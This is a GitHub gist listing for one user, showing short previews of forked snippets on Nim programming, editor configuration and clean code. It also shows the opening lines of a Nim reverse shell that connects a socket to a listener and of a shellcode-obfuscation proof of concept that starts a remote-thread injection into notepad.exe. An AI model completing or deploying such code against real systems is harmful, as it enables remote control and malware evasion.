Skip to content

Instantly share code, notes, and snippets.

View foxoman's full-sized avatar

Sultan Al Isaiee foxoman

View GitHub Profile
@foxoman
foxoman / mybuildcmds.rst
Created March 12, 2025 08:58 — forked from planetis-m/mybuildcmds.rst
My build commands

Debug

nim c --cc:clang --mm:orc --panics:on --threads:on --tlsEmulation:off -l:"-fuse-ld=mold" %f

Release

@foxoman
foxoman / nim.cfg
Created March 12, 2025 08:58 — forked from planetis-m/nim.cfg
Top level nim.cfg
#cc = clang
--experimental:strictEffects
--experimental:strictFuncs
--experimental:strictDefs
--experimental:unicodeOperators
--experimental:overloadableEnums
--define:nimPreviewCstringConversion
--define:nimPreviewFloatRoundtrip
--define:nimStrictDelete
--define:nimUseLinenoise
@foxoman
foxoman / concepts.nim
Created March 8, 2023 00:46 — forked from PhilipWitte/concepts.nim
How to use concept in Nim
type
CanDance = concept x
dance(x) # `x` is anything that has a `dance` procedure
proc doBallet(dancer: CanDance) =
# `dancer` can be anything that `CanDance`
dance(dancer)
# ---
@foxoman
foxoman / parallel.nim
Created December 21, 2022 19:32 — forked from trickster/parallel.nim
Parallel stuff in Nim
import threadpool, tables, strutils
const
filesArray = ["data1.txt", "data2.txt", "data3.txt"]
proc countWords2(filename: string): CountTableRef[string] =
result = newCountTable[string]()
for word in readFile(filename).splitWhitespace():
result.inc word
@foxoman
foxoman / init.vim
Created December 21, 2022 17:59 — forked from prkstaff/init.vim
My NeoVim config + Dracula theme + NerdTree
"*****************************************************************************
"" Vim-PLug core
"*****************************************************************************
if has('vim_starting')
set nocompatible " Be iMproved
endif
let vimplug_exists=expand('~/.config/nvim/autoload/plug.vim')
let g:vim_bootstrap_langs = "javascript,php,python,ruby"
@foxoman
foxoman / tutorial.md
Created October 19, 2022 18:51 — forked from KyrillosWalid/tutorial.md
How to add Nim-lang code to C/C++ code - TUTORIAL

How to add Nim-lang code to C/C++ code


Note 1: This tutorial is for Linux users only, but if you understand the idea, you can use it on all systems and it will work as required :).
Note 2: Nim-lang version used in this tutorial is 1.0.4 (To get Nim-lang version nim -v)

To add Nim-lang code to C/C++ code you have 3 choices :

  • Compile Nim-lang code as a (C/C++ header File). THIS IS WHAT WE WILL TAKE TODAY.
  • Compile Nim-lang code as a (C/C++ static library).
  • Compile Nim-lang code as a (C/C++ dynamic library).
@foxoman
foxoman / nimrs.nim
Created September 19, 2022 18:01 — forked from pawnmuncher/nimrs.nim
A simple reverse shell written in Nim
import net
import osproc
import strformat
# Create Socket
let port = 9999
let address = "127.0.0.1"
let sock = newSocket()
# Connect to listener
@foxoman
foxoman / nimterpreter.nim
Created September 19, 2022 17:59 — forked from pawnmuncher/nimterpreter.nim
A simple PoC for obfuscating shellcode in Nim
# With special thanks to byt3bl33d3r for Offensive Nim!
import winim/lean
import osproc
import base64
import sequtils
import strutils
proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =
let tProcess = startProcess("notepad.exe")
@foxoman
foxoman / client.nim
Created August 5, 2022 14:31 — forked from Michal-Szczepaniak/client.nim
Nim UDP server discovery
import net
let socket = newSocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
socket.setSockOpt(OptReuseAddr, true)
socket.setSockOpt(OptReusePort, true)
socket.setSockOpt(OptBroadcast, true)
socket.sendTo("255.255.255.255", Port(12346), $0b10)
var
receivedFrom = ""
@foxoman
foxoman / clean_code.md
Created January 21, 2022 16:47 — forked from wojteklu/clean_code.md
Summary of 'Clean code' by Robert C. Martin

Code is clean if it can be understood easily – by everyone on the team. Clean code can be read and enhanced by a developer other than its original author. With understandability comes readability, changeability, extensibility and maintainability.


General rules

  1. Follow standard conventions.
  2. Keep it simple stupid. Simpler is always better. Reduce complexity as much as possible.
  3. Boy scout rule. Leave the campground cleaner than you found it.
  4. Always find root cause. Always look for the root cause of a problem.

Design rules